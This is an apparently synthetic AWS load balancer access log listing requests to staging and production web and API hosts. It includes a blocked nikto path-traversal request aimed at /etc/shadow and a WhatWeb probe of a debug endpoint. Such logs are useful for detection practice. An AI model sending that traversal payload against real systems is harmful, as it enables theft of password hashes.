"10.0.81.19:443" "403" "-" "-" -http 2024-11-01T02:05:01.133804Z staging-alb 117.148.69.218:50020 169.134.114.152:80 0.007972 0.087685 0.078832 200 200 39 6697 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4dd-779ed80e06cd4406a8d08090" "staging-alb.example.com" "-" 3 2024-11-01T02:05:01.133804Z "forward" "-" "-" "169.134.114.152:80" "200" "-" "-" -http 2024-11-01T02:05:02.346214Z staging-alb 103.31.125.193:23153 81.73.105.135:80 0.022038 0.542282 0.123582 200 200 654 12510 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4de-5eb8f6f14a884eb3b4d60032" "staging-alb.example.com" "-" 4 2024-11-01T02:05:02.346214Z "forward" "-" "-" "81.73.105.135:80" "200" "-" "-" -https 2024-11-01T02:05:03.180692Z prod-web-alb 8.153.109.108:13984 10.0.213.147:443 0.061370 0.219268 0.064143 302 302 472 10017 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4df-e16eb18ad7f646b889d97997" "prod-web-alb.example.com" "-" 5 2024-11-01T02:05:03.180692Z "forward" "-" "-" "10.0.213.147:443" "302" "-" "-" -https 2024-11-01T02:05:03.800815Z prod-web-alb 104.184.32.22:62461 10.0.159.247:443 0.031173 0.203496 0.047027 200 200 817 11885 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4df-593a2e4aecea4520a42101b1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:05:03.800815Z "forward" "-" "-" "10.0.159.247:443" "200" "-" "-" -https 2024-11-01T02:05:04.525788Z staging-alb 185.181.125.99:12713 186.144.66.245:443 0.012642 0.705871 0.017034 403 403 261 6464 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e0-8fadd5d9678d4334b5d32e5f" "-" "-" 4 2024-11-01T02:05:04.525788Z "forward" "-" "-" "186.144.66.245:443" "403" "-" "-" -https 2024-11-01T02:05:05.476720Z prod-web-alb 14.156.17.58:56043 10.0.68.57:443 0.015934 0.373615 0.077798 200 200 141 10830 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4e1-2b9bcf7b04924e8c963b39c8" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:05.476720Z "forward" "-" "-" "10.0.68.57:443" "200" "-" "-" -http 2024-11-01T02:05:06.297937Z staging-alb 141.156.126.159:44298 58.0.61.253:8080 0.083013 0.166218 0.059878 302 302 895 5014 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4e2-ef7b490cae554d5f9814c9c2" "staging-alb.example.com" "-" 0 2024-11-01T02:05:06.297937Z "forward" "-" "-" "58.0.61.253:8080" "302" "-" "-" -https 2024-11-01T02:05:07.079907Z prod-web-alb 232.250.236.156:58301 10.0.129.189:443 0.070567 0.200342 0.030528 200 200 670 4336 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4e3-cb935b7c834b4953bd8e42ad" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:07.079907Z "forward" "-" "-" "10.0.129.189:443" "200" "-" "-" -http 2024-11-01T02:05:07.478843Z staging-alb 16.79.168.138:42744 154.234.249.123:443 0.138902 0.428195 0.104686 404 404 648 3336 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e3-6a78bfdc5bf14e46b605a0e7" "staging-alb.example.com" "-" 2 2024-11-01T02:05:07.478843Z "forward" "-" "-" "154.234.249.123:443" "404" "-" "-" -http 2024-11-01T02:05:07.830435Z staging-alb 11.92.20.124:25346 132.129.139.16:80 0.127859 0.004092 0.079117 302 302 513 13387 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e3-aa63212aaa3c47bb845ec7e0" "staging-alb.example.com" "-" 10 2024-11-01T02:05:07.830435Z "forward" "-" "-" "132.129.139.16:80" "302" "-" "-" -http 2024-11-01T02:05:09.565813Z staging-alb 166.197.38.114:50068 55.123.232.219:80 0.123881 0.173009 0.088920 200 200 736 4921 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e5-83420c180c7d40038a3cca5f" "staging-alb.example.com" "-" 5 2024-11-01T02:05:09.565813Z "forward" "-" "-" "55.123.232.219:80" "200" "-" "-" -http 2024-11-01T02:05:10.961332Z staging-alb 89.247.92.23:33340 191.244.211.117:443 0.065261 0.367697 0.050943 301 301 818 14341 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e6-968b41ae7d734347a1847df6" "staging-alb.example.com" "-" 9 2024-11-01T02:05:10.961332Z "forward" "-" "-" "191.244.211.117:443" "301" "-" "-" -https 2024-11-01T02:05:11.707412Z staging-alb 92.22.249.80:13766 144.138.50.194:8080 0.016024 0.062967 0.133467 200 200 492 4033 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e7-fad3803990bb47af80bbb2ed" "staging-alb.example.com" "-" 3 2024-11-01T02:05:11.707412Z "forward" "-" "-" "144.138.50.194:8080" "200" "-" "-" -https 2024-11-01T02:05:12.676212Z prod-web-alb 155.184.93.86:62808 10.0.112.14:443 0.019887 0.238248 0.063337 200 200 442 5776 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4e8-1d994acd382d4dd3b4b4fb52" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:12.676212Z "forward" "-" "-" "10.0.112.14:443" "200" "-" "-" -https 2024-11-01T02:05:13.477840Z prod-api-alb 73.151.210.185:24738 10.0.91.244:443 0.055017 0.055077 0.049398 200 200 267 12114 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4e9-66c3ce74bf984da5b105b827" "prod-api-alb.example.com" "-" 8 2024-11-01T02:05:13.477840Z "forward" "-" "-" "10.0.91.244:443" "200" "-" "-" -https 2024-11-01T02:05:14.502179Z prod-api-alb 99.90.172.50:17771 10.0.145.211:443 0.001525 0.151695 0.020275 200 200 713 6943 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ea-a694fdde322d44e0b0af029f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:14.502179Z "forward" "-" "-" "10.0.145.211:443" "200" "-" "-" -https 2024-11-01T02:05:16.217961Z prod-api-alb 140.218.255.37:52896 10.0.199.184:443 0.031820 0.268547 0.096148 301 301 550 10743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ec-7f89c6d42c92438cb8c0613b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:16.217961Z "forward" "-" "-" "10.0.199.184:443" "301" "-" "-" -https 2024-11-01T02:05:17.623105Z prod-web-alb 36.227.249.209:53202 10.0.89.21:443 0.041613 0.348090 0.074704 200 200 405 11067 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ed-d70c270427564c1995c765d7" "prod-web-alb.example.com" "-" 2 2024-11-01T02:05:17.623105Z "forward" "-" "-" "10.0.89.21:443" "200" "-" "-" -https 2024-11-01T02:05:18.509603Z prod-api-alb 152.124.213.44:10972 10.0.231.216:443 0.072063 0.076513 0.049406 200 200 22 14165 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ee-ebb8243509bc4477af626d3b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:18.509603Z "forward" "-" "-" "10.0.231.216:443" "200" "-" "-" -https 2024-11-01T02:05:19.202106Z staging-alb 123.177.241.41:41363 34.124.114.187:8080 0.005180 0.151693 0.147910 200 200 372 4040 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4ef-598e9df0e02549cebd8cc270" "staging-alb.example.com" "-" 6 2024-11-01T02:05:19.202106Z "forward" "-" "-" "34.124.114.187:8080" "200" "-" "-" -https 2024-11-01T02:05:19.727122Z prod-api-alb 240.6.245.53:56396 10.0.214.86:443 0.033251 0.383727 0.067458 200 200 602 11939 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ef-1e777c385e9d40edb8571afb" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:19.727122Z "forward" "-" "-" "10.0.214.86:443" "200" "-" "-" -https 2024-11-01T02:05:20.640317Z prod-api-alb 133.69.180.182:48410 10.0.63.139:443 0.089015 0.157611 0.028700 301 301 968 4686 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4f0-8686d42e8fac45c6ad897f3a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:05:20.640317Z "forward" "-" "-" "10.0.63.139:443" "301" "-" "-" -https 2024-11-01T02:05:22.448860Z prod-web-alb 45.155.205.10:53257 10.0.105.247:443 0.023924 0.059806 0.076826 403 403 411 12349 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f2-76606db1990b48a8bd131fa4" "-" "-" 8 2024-11-01T02:05:22.448860Z "forward" "-" "-" "10.0.105.247:443" "403" "-" "-" -http 2024-11-01T02:05:23.390866Z staging-alb 152.206.57.227:24754 0.16.82.36:80 0.019462 0.608059 0.051302 200 200 738 4314 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4f3-36011582460b4b1b92abd0b3" "staging-alb.example.com" "-" 5 2024-11-01T02:05:23.390866Z "forward" "-" "-" "0.16.82.36:80" "200" "-" "-" -https 2024-11-01T02:05:25.299410Z prod-web-alb 245.14.27.150:17436 10.0.25.117:443 0.069787 0.249159 0.018050 302 302 272 13207 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f5-079227a8c76b4a96bb9bbf6b" "-" "-" 9 2024-11-01T02:05:25.299410Z "forward" "-" "-" "10.0.25.117:443" "302" "-" "-" -https 2024-11-01T02:05:26.352502Z prod-api-alb 124.247.67.3:40451 10.0.176.67:443 0.002179 0.017492 0.026995 200 200 665 5596 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4f6-ba25a2f2ecf8497f8121e12f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:05:26.352502Z "forward" "-" "-" "10.0.176.67:443" "200" "-" "-" -https 2024-11-01T02:05:27.670441Z prod-web-alb 109.57.231.15:60374 10.0.241.248:443 0.086961 0.301862 0.073052 200 200 954 6205 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4f7-eb0160a2fe7e46508ea92b7e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:27.670441Z "forward" "-" "-" "10.0.241.248:443" "200" "-" "-" -https 2024-11-01T02:05:28.239807Z prod-api-alb 148.40.124.66:14688 10.0.244.244:443 0.060258 0.229461 0.071599 200 200 720 789 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4f8-1f109be553e442d5970c6dbb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:05:28.239807Z "forward" "-" "-" "10.0.244.244:443" "200" "-" "-" -https 2024-11-01T02:05:28.956010Z prod-web-alb 161.109.172.19:12209 10.0.160.15:443 0.092075 0.045490 0.001255 200 200 603 12964 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f8-bb6f44406df848d399c1a95d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:05:28.956010Z "forward" "-" "-" "10.0.160.15:443" "200" "-" "-" -http 2024-11-01T02:05:30.906891Z staging-alb 107.85.63.154:18544 68.237.138.26:8080 0.050924 0.375024 0.045865 302 302 151 2437 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4fa-b105ad691ff742f08589aea0" "staging-alb.example.com" "-" 5 2024-11-01T02:05:30.906891Z "forward" "-" "-" "68.237.138.26:8080" "302" "-" "-" -https 2024-11-01T02:05:32.096278Z staging-alb 45.182.59.196:48618 37.210.135.219:80 0.031000 0.465835 0.137796 302 302 588 8399 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4fc-832370cadb8746ba9a93ccd7" "staging-alb.example.com" "-" 0 2024-11-01T02:05:32.096278Z "forward" "-" "-" "37.210.135.219:80" "302" "-" "-" -https 2024-11-01T02:05:33.979980Z prod-api-alb 14.221.180.81:10866 10.0.238.82:443 0.009485 0.411941 0.034445 200 200 611 8879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4fd-676e38bf77a74ed89d553ee8" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:33.979980Z "forward" "-" "-" "10.0.238.82:443" "200" "-" "-" -https 2024-11-01T02:05:35.443514Z prod-web-alb 94.104.74.77:41398 10.0.129.73:443 0.065511 0.246146 0.058382 301 301 611 570 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ff-96c1c9a9146b4398981f2bd8" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:35.443514Z "forward" "-" "-" "10.0.129.73:443" "301" "-" "-" -https 2024-11-01T02:05:37.029300Z prod-web-alb 253.166.60.17:36179 10.0.192.65:443 0.001787 0.164955 0.036727 200 200 934 5991 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d501-f9bf211b5d1e4c149cac7c1a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:05:37.029300Z "forward" "-" "-" "10.0.192.65:443" "200" "-" "-" -https 2024-11-01T02:05:38.293792Z staging-alb 113.252.21.105:17943 2.216.248.65:443 0.006460 0.437556 0.041590 301 301 850 3819 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d502-de883b75762d464d8adb01fb" "staging-alb.example.com" "-" 4 2024-11-01T02:05:38.293792Z "forward" "-" "-" "2.216.248.65:443" "301" "-" "-" -https 2024-11-01T02:05:38.858686Z prod-web-alb 27.68.217.108:35557 10.0.49.212:443 0.084636 0.470088 0.037706 200 200 867 4922 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d502-3414ccd1876b493f94c7bff9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:05:38.858686Z "forward" "-" "-" "10.0.49.212:443" "200" "-" "-" -https 2024-11-01T02:05:40.164121Z prod-web-alb 20.35.108.235:27383 10.0.197.195:443 0.076280 0.213559 0.013361 302 302 387 7129 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d504-edd828a5677843c5a96f30a7" "-" "-" 10 2024-11-01T02:05:40.164121Z "forward" "-" "-" "10.0.197.195:443" "302" "-" "-" -https 2024-11-01T02:05:41.421881Z prod-web-alb 153.51.80.175:42213 10.0.149.230:443 0.026566 0.476581 0.044618 200 200 477 9033 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d505-3239a9bd455f48cbb140e56d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:41.421881Z "forward" "-" "-" "10.0.149.230:443" "200" "-" "-" -https 2024-11-01T02:05:41.997457Z prod-web-alb 142.122.160.187:43446 10.0.237.38:443 0.079072 0.126592 0.028463 301 301 560 4638 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d505-e42b74a5a052482aae351cef" "prod-web-alb.example.com" "-" 9 2024-11-01T02:05:41.997457Z "forward" "-" "-" "10.0.237.38:443" "301" "-" "-" -http 2024-11-01T02:05:43.597335Z staging-alb 20.45.50.216:53876 208.210.6.254:80 0.030535 0.303575 0.067316 301 301 782 3281 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d507-0cfd477f5c2b4e2fa768d5f3" "staging-alb.example.com" "-" 0 2024-11-01T02:05:43.597335Z "forward" "-" "-" "208.210.6.254:80" "301" "-" "-" -https 2024-11-01T02:05:44.097550Z prod-api-alb 148.92.117.101:20710 10.0.173.53:443 0.032304 0.493117 0.064826 200 200 189 5283 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d508-b63cc3eb006c439b8884e107" "prod-api-alb.example.com" "-" 7 2024-11-01T02:05:44.097550Z "forward" "-" "-" "10.0.173.53:443" "200" "-" "-" -https 2024-11-01T02:05:44.463237Z prod-api-alb 168.136.153.142:46106 10.0.167.17:443 0.013334 0.439157 0.033232 404 404 604 7958 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d508-1be127c03da3406a817ad550" "prod-api-alb.example.com" "-" 8 2024-11-01T02:05:44.463237Z "forward" "-" "-" "10.0.167.17:443" "404" "-" "-" -https 2024-11-01T02:05:44.693739Z prod-web-alb 28.243.83.217:42468 10.0.189.172:443 0.094079 0.246673 0.044424 302 302 216 11998 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d508-87a941d0412d444bb432b7a6" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:44.693739Z "forward" "-" "-" "10.0.189.172:443" "302" "-" "-" -http 2024-11-01T02:05:45.194292Z staging-alb 14.129.125.232:44545 114.90.2.208:8080 0.144545 0.526013 0.097693 302 302 316 3837 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d509-08dc42394ead489d888f3fd9" "staging-alb.example.com" "-" 3 2024-11-01T02:05:45.194292Z "forward" "-" "-" "114.90.2.208:8080" "302" "-" "-" -https 2024-11-01T02:05:46.656190Z prod-api-alb 80.16.107.5:11409 10.0.222.158:443 0.056374 0.258886 0.046351 404 404 116 11326 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d50a-bbc010f33bf2499590745399" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:46.656190Z "forward" "-" "-" "10.0.222.158:443" "404" "-" "-" -https 2024-11-01T02:05:47.775252Z prod-api-alb 145.99.92.7:23559 10.0.58.152:443 0.058268 0.243936 0.076568 301 301 134 2026 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d50b-631938b6db32479c9060224e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:05:47.775252Z "forward" "-" "-" "10.0.58.152:443" "301" "-" "-" -https 2024-11-01T02:05:48.737785Z staging-alb 147.142.81.24:12999 27.196.225.238:443 0.094387 0.631356 0.110597 200 200 369 14308 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d50c-745c61e777ee4e89a68342b1" "staging-alb.example.com" "-" 2 2024-11-01T02:05:48.737785Z "forward" "-" "-" "27.196.225.238:443" "200" "-" "-" -https 2024-11-01T02:05:50.027717Z prod-web-alb 194.251.154.137:37132 10.0.73.16:443 0.031613 0.302781 0.081747 200 200 585 9374 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 